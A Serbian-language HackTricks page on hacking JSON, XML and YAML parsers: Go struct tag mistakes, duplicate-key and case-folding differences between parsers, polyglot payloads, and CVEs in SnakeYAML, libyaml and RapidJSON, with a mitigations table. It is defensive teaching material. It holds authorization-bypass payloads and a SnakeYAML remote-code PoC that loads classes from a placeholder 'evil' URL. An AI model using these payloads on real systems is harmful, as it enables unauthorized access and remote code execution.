JSON, XML & Yaml Hacking & Problemi

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Go JSON dekoder

Sledeći problemi su otkriveni u Go JSON parseru i mogu postojati i u drugim jezicima. Ovi problemi su objavljeni u this blog post.

Go’s JSON, XML, and YAML parsers imaju dugu istoriju nekonzistentnosti i nesigurnih podrazumevanih postavki koje mogu biti zloupotrebljene za bypass authentication, escalate privileges, or exfiltrate sensitive data.

(Un)Marshaling Unexpected Data

Cilj je iskoristiti struct-ove koji omogućavaju napadaču da čita/piše osetljiva polja (npr., IsAdmin, Password).

  • Primer Struct:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Uobičajene ranjivosti
  1. Nedostajući tag (bez taga = polje se i dalje parsira po podrazumevanoj vrednosti):
go
type User struct {
Username string
}

Payload:

json
{"Username": "admin"}
  1. Neispravna upotreba -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

json
{"-": true}

✔️ Ispravan način da se spreči da polje bude (un)marshaled:

go
type User struct {
IsAdmin bool `json:"-"`
}

Razlike u parserima

Cilj je da se bypass authorization iskorišćavanjem toga kako različiti parseri interpretiraju isti payload na različite načine, na primer:

  • CVE-2017-12635: Apache CouchDB bypass via duplicate keys
  • 2022: Zoom 0-click RCE via XML parser inconsistency
  • GitLab 2025 SAML bypass via XML quirks

1. Duplirana polja: Go's encoding/json uzima poslednje polje.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Drugi parseri (npr. Java’s Jackson) mogu uzeti prvi.

2. Neosetljivost na veličinu slova: Go nije osetljiv na veličinu slova:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Čak i Unicode trikovi rade:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Cross-service mismatch: Zamisli:

  • Proxy napisan u Go
  • AuthZ servis napisan u Pythonu

Napadač šalje:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python vidi UserAction, dozvoljava ga
  • Go vidi AdminAction, izvršava ga

Zbrka formata podataka (Polyglots)

Cilj je iskoristiti sisteme koji mešaju formate (JSON/XML/YAML) ili propuste bezbednost pri greškama parsiranja, npr:

  • CVE-2020-16250: HashiCorp Vault je parsirao JSON koristeći XML parser nakon što je STS vratio JSON umesto XML-a.

Napadač kontroliše:

  • Zaglavlje Accept: application/json
  • Delimična kontrola nad JSON telom

Go-ov XML parser ga je ipak parsirao i verovao ubačenom identitetu.

  • Sastavljen payload:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Rezultat:

  • Go JSON parser: Action_2 (neosetljivo na veličinu slova + važi poslednji)
  • YAML parser: Action_1 (osetljivo na veličinu slova)
  • XML parser: parsira "Action_3" unutar stringa

Značajne ranjivosti parsera (2023-2025)

Sledeći javno-iskoristivi propusti pokazuju da nesigurno parsiranje predstavlja problem više jezika — ne samo problem u Go-u.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Pogađa: org.yaml:snakeyaml < 2.0 (koji se koristi u Spring-Boot, Jenkins, itd.).
  • Korenski uzrok: new Constructor() deserijalizuje proizvoljne Java klase, omogućavajući lanac gadgeta koji kulminira izvršenjem koda na daljinu.
  • One-liner PoC (će otvoriti kalkulator na ranjivom hostu):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Popravka / Ublažavanje:
  1. Upgrade to ≥2.0 (koristi SafeLoader po defaultu).
  2. Na starijim verzijama, eksplicitno koristite new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Affects: libyaml ≤0.2.5 (C biblioteka koju koriste mnoge vezivke za programske jezike).
  • Issue: Pozivanje yaml_event_delete() dva puta dovodi do double-free-a koji napadači mogu iskoristiti za DoS ili, u nekim scenarijima, heap exploitation.
  • Status: Upstream je odbio kao „API misuse“, ali Linux distribucije su isporučile ispravljenu 0.2.6 koja defensivno postavlja pokazivač na null pre oslobađanja.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Affects: Tencent RapidJSON pre commita 8269bc2 (<1.1.0-patch-22).
  • Bug: U GenericReader::ParseNumber() nekontrolisana aritmetika omogućava napadačima da kreiraju ogromne numeričke literale koji se prelamaju (wrap around) i korumpiraju heap — što na kraju može omogućiti eskalaciju privilegija kada se dobijeni objekat koristi za odluke o autorizaciji.

🔐 Mitigations (Updated)

RiskFix / Recommendation
Nepoznata polja (JSON)decoder.DisallowUnknownFields()
Duplikat polja (JSON)❌ No fix in stdlib — validate with jsoncheck
Poređenje bez obzira na veličinu slova (Go)❌ No fix — validate struct tags + pre-canonicalize input
Nevalidni podaci u XML / XXEKoristite ojačani parser (encoding/xml + DisallowDTD)
Nepoznati ključevi u YAML-uyaml.KnownFields(true)
Unsafe YAML deserializationKoristite SafeConstructor / upgrade to SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeUpgrade to 0.2.6 or distro-patched release
RapidJSON <patched commitCompile against latest RapidJSON (≥July 2024)

See also

Mass Assignment Cwe 915

References

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks